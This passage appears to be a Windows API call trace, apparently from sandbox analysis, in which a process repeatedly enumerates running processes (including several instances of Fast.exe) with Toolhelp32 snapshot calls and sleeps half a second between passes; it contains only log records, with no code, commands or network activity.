dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.945] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.946] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.947] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.948] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.949] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.950] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.950] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.951] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.952] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0239.954] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0239.955] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.956] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.957] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0239.958] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0239.958] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0239.959] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0239.960] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0239.961] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0239.962] CloseHandle (hObject=0x1e0) returned 1 [0239.962] Sleep (dwMilliseconds=0x1f4) [0240.596] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0240.601] Process32FirstW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.603] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.604] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.606] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.607] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.609] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.610] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.611] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.612] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.613] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0240.614] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.616] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.617] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.618] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.619] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.621] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.622] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.623] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.625] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.626] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.627] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0240.628] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0240.629] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.630] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.631] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0240.633] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0240.634] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0240.635] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0240.789] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0240.790] Process32NextW (in: hSnapshot=0x200, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0240.791] CloseHandle (hObject=0x200) returned 1 [0240.791] Sleep (dwMilliseconds=0x1f4) [0241.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0241.469] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.470] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.471] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.471] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.472] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.473] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.474] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.475] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.476] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.477] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0241.478] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.478] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.479] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.480] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.481] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.482] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.483] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.484] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.485] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.486] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.486] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0241.487] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0241.488] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.489] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.490] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0241.491] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0241.491] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0241.492] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0241.493] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0241.494] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0241.495] CloseHandle (hObject=0x1ec) returned 1 [0241.495] Sleep (dwMilliseconds=0x1f4) [0242.152] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0242.157] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.158] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.159] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.160] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, 